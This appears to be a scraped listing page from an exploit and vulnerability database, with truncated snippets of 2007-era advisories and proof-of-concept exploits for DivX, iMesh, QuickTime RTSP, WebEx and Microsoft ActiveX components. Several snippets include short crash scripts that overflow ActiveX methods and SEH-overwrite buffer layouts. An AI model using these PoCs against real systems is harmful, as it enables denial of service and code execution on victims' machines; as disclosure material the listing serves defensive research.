DivX Player 6.6.0 ActiveX SetPassword() Denial of Service PoC

No description provided by source. object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;" /object script function crash var buff = ''; fori=0;i=500;i++ buff+="AAAAAAAAAA"; object = document.getElementById"divx"; object.SetPasswordbuff; /script pre h3uDivX...

Microsoft Office Publisher

I found two ways to cause a denial of service on the Microsoft Office Publisher, this is done by creating a malformed file with the following characteristics: The first is to create a new file and modifying hexadicimal with an editor from the direction 00006B90 to 00006D90 with the letter "A", th...

iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit

No description provided by source. !-- iMesh = 7.1.0.x IMWebControl Class IMWeb.dll 7.0.0.x remote heap exploit IE7/XP full patched by rgod, site: http://retrogod.altervista.org/ software site: http://www.imesh.com "iMesh is a file sharing and online social network. It uses a proprietary,...

Fedora 7 : squid-2.6.STABLE16-2.fc7 (2007-4161)

Thu Dec 6 2007 Martin Nagy - 7:2.6.STABLE16-1 - Upstream patch to fix CVE-2007-6239 410181 - Fri Sep 7 2007 Martin Bacovsky - 7:2.6.STABLE16-1 - upgrade to latest upstream 2.6.STABLE14 - Wed Aug 1 2007 Martin Bacovsky - 7:2.6.STABLE14-1 - upgrade to latest upstream 2.6.STABLE14 - Mon Jun 4 2007...

omt-bofpoc.txt

------------------------------------------------------------------------------- Online Media Technologies AVSMJPEGFILE.DLL 1.1 Remote Buffer Overflow url: www.avsmedia.com Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose...

Mandrake Linux Security Advisory : openssh (MDKSA-2007:236)

A flaw in OpenSSH prior to 4.7 prevented ssh from properly handling when an untrusted cookie could not be created and used a trusted X11 cookie instead, which could allow attackers to violate intended policy and gain privileges by causing an X client to be treated as trusted. The updated packages...

Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC

No description provided by source. !/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish Details:.. RTSP Content-Type: A 995 + B 4096\r\n...

aquick-rstp.txt

/ ============================================================= Apple Quicktime Vista/XP RSTP Response Remote Code Exec ============================================================= Discovered by: h07 Author: InTeL Tested on: - Quicktime 7.3 on Windows Vista, Result: SEH Overwrite, Code Exec -...

Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC

Exploit for multiple platform in category dos / poc ============================================================== Apple QuickTime 7.2/7.3 RTSP Response Remote SEH Overwrite PoC ============================================================== !/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day...

Apple QuickTime 7.2/7.3 - RTSP Response Remote Overwrite (SEH)

!/usr/bin/python Apple QuickTime 7.3 RTSP Response 0day Remote SEH Overwrite PoC Exploit Bug discovered by Krystian Kloskowski h07 Tested on: Apple QuickTime Player 7.3 / XP SP2 Polish Details:.. RTSP Content-Type: A 995 + B 4096\r\n 0x41414141 Pointer to next SEH record 0x42424242 SE handler...

Microsoft Office Web Component Memory Access Violation Denial of Service Vulnera

Microsoft Office Web组件一款基与Web的数据透视表控件。 Microsoft Office Web包含的ActiveX控件存在设计错误，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 构建恶意的EWB页，诱使用户访问，可导致对应用程序进行拒绝服务攻击。 Microsoft Office Web Components 2003 0 + Microsoft BizTalk Server 2002 Developer Edition + Microsoft BizTalk Server 2002 Enterprise Edition + Microsoft Commer...

[Full-disclosure] WebEx GPCContainer Memory Access Violation

There is a memory access violation in the InitParam and SetParam functions. PoC as follows: --------------------- !-- Written by e.b. -- html head script language="JavaScript" DEFER function Check var obj = new ActiveXObject"GpcContainer.GpcContainer.1"; obj.InitOaram"A"; /script /head body...

WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities

WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities source: https://www.securityfocus.com/bid/26430/info WebEx is prone to multiple remote denial-of-service vulnerabilities. Attackers can exploit these issues to crash applications that use the ActiveX control,...

WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities

source: https://www.securityfocus.com/bid/26430/info WebEx is prone to multiple remote denial-of-service vulnerabilities. Attackers can exploit these issues to crash applications that use the ActiveX control, denying service to legitimate users. function Check var obj = new...

Microsoft Forms 2.0 - ActiveX Control 2.0 Memory Access Violation Denial of Service

Microsoft Forms 2.0 - ActiveX Control 2.0 Memory Access Violation Denial of Service source: https://www.securityfocus.com/bid/26414/info Microsoft Forms 2.0 ActiveX Control is prone to multiple memory-access violation denial-of-service vulnerabilities. Attackers can exploit these issues to crash...

Microsoft Office 2003 - Web Component Memory Access Violation Denial of Service

Microsoft Office 2003 - Web Component Memory Access Violation Denial of Service source: https://www.securityfocus.com/bid/26405/info Microsoft Office Web Component is prone to a denial-of-service vulnerability because of a memory access violation. Attackers can exploit this issue to crash Interne...

Microsoft Office 2003 - Web Component Memory Access Violation Denial of Service

source: https://www.securityfocus.com/bid/26405/info Microsoft Office Web Component is prone to a denial-of-service vulnerability because of a memory access violation. Attackers can exploit this issue to crash Internet Explorer and deny service to legitimate users. This issue affects OWC11 for...

CVE-2003-1516: Undefined Security Weakness

The org.apache.xalan.processor.XSLProcessorVersion class in Java Plug-in 1.4.201 allows signed and unsigned applets to share variables, which violates the Java security model and could allow remote attackers to read or write data belonging to a signed applet...

CVE-2002-2258: Improper Restriction of Operations within the Bounds of a Memory Buffer

Moby NetSuite allows remote attackers to cause a denial of service crash via an HTTP POST request with a 1 large integer or 2 non-numeric value in the Content-Length header, which causes an access violation after a failed atoi function call...

wzdftpd <= 0.8.0 (USER) Remote Denial of Service Exploit

No description provided by source. Indonesian Newhack Security Advisory ------------------------------------ wzdftpd = 0.8.0 USER Remote Danial of Service Waktu : Oct 07 2007 05:00AM Software : wzdftpd 0.8.0 Version : 0.8.0 Linux and Windows...